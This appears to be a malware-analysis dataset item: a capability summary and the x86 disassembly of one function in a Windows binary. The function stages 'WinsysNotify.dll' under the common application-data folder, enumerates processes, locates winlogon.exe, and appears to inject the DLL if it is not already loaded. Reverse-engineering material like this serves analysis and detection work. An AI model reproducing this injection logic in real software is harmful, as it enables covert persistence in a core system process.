Function at 0x401f30
Capabilities:
Check if file exists
Create directory
Enumerate process modules
Get common file path
Get process image filename

Disassembly:
push 0xffffffffffffffff
push 0x41e53c
mov eax, dword fs:[0]
push eax
mov eax, 0x2344
call fcn.004106b0
mov eax, dword [0x4269a0]
xor eax, esp
mov dword [esp + 0x2340], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4269a0]
xor eax, esp
push eax
lea eax, [esp + 0x2358]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
push 0x23
lea eax, [esp + 0x214c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x4020b1
call fcn.00402773
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x401fa5
push 0x80004005
call fcn.004012d0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x20], eax
push str.Microsoft
lea ecx, [esp + 0x2148]
push ecx
lea edx, [esp + 0x28]
push str._s_s
push edx
mov dword [esp + 0x2370], ebx
call fcn.00401380
mov edi, dword [esp + 0x30]
add esp, 0x10
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401ffa
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40208a
call fcn.00402773
xor ecx, ecx
cmp eax, ebx
setne cl
cmp ecx, ebx
jne 0x402014
push 0x80004005
call fcn.004012d0
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [esp + 0x1c], eax
push str.WinsysNotify.dll
push edi
lea ecx, [esp + 0x24]
push str._s_s
push ecx
mov byte [esp + 0x2370], 1
call fcn.00401380
add esp, 0x10
lea edx, [esp + 0x34]
push edx
push 0x1000
lea eax, [esp + 0x1044]
push eax
mov dword [esp + 0x34], ebx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x4020b8
mov byte [esp + 0x2360], al
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40208a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov dword [esp + 0x2360], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4020b1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x402381
mov eax, dword [esp + 0x34]
shr eax, 2
mov ebp, ebx
mov dword [esp + 0x30], eax
mov dword [esp + 0x24], ebp
je 0x40232e
mov ecx, dword [str._unknown_]
mov edx, dword [0x4223d4]
mov ax, word [0x4223d8]
push 0xfa
mov dword [esp + 0x2040], ecx
lea ecx, [esp + 0x204a]
push 0
push ecx
mov dword [esp + 0x204c], edx
mov word [esp + 0x2050], ax
call fcn.0040dbe0
mov edx, dword [esp + ebp*4 + 0x1048]
add esp, 0xc
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40231d
push 0x104
lea eax, [esp + 0x2040]
push eax
push 0
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
ja 0x402161
push 0x104
lea ecx, [esp + 0x2040]
push ecx
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameA
test eax, eax
jbe 0x40230e
lea edx, [esp + 0x203c]
push edx
lea ecx, [esp + 0x1c]
call fcn.00401710
mov byte [esp + 0x2360], 2
mov eax, dword [esp + 0x18]
push 0x5c
push eax
call fcn.0040ced5
add esp, 8
test eax, eax
je 0x402196
sub eax, dword [esp + 0x18]
cmp eax, 0xffffffff
jne 0x4021ce
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [esp + 0x2360], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40231d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x40231d
add eax, 1
push eax
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x20]
call fcn.004026c0
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0x2364], 3
call fcn.00401660
mov byte [esp + 0x2360], 2
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40221a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea edi, [esp + 0x18]
call fcn.00402660
push eax
mov ecx, edi
call fcn.00401660
mov ecx, dword [esp + 0x18]
push str.winlogon.exe
push ecx
xor ebp, ebp
call fcn.0040cccc
add esp, 8
test eax, eax
jne 0x4022e2
lea edx, [esp + 0x38]
push edx
push 0x1000
lea eax, [esp + 0x44]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x4022c0
xor edi, edi
jmp 0x402270
mov edx, dword [esp + edi*4 + 0x3c]
push 0x104
lea ecx, [esp + 0x2250]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x4022ae
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x224c]
push eax
push ecx
call fcn.0040cccc
add esp, 8
test eax, eax
jne 0x4022ae
mov ebp, 1
mov dword [esp + 0x28], ebp
mov edx, dword [esp + 0x38]
add edi, 1
shr edx, 2
cmp edi, edx
jbe 0x402270
test ebp, ebp
jne 0x4022dd
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + ecx*4 + 0x103c]
push eax
push edx
call fcn.00401dd0
add esp, 8
mov dword [esp + 0x28], eax
mov ebx, 1
mov byte [esp + 0x2360], 1
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40230a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [esp + 0x20]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x40232e
mov ebp, dword [esp + 0x24]
add ebp, 1
cmp ebp, dword [esp + 0x30]
mov dword [esp + 0x24], ebp
jb 0x4020cf
mov byte [esp + 0x2360], 0
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402356
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov dword [esp + 0x2360], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40237d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x28]
mov ecx, dword [esp + 0x2358]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x2340]
xor ecx, esp
call fcn.0040c1cb
add esp, 0x2350
ret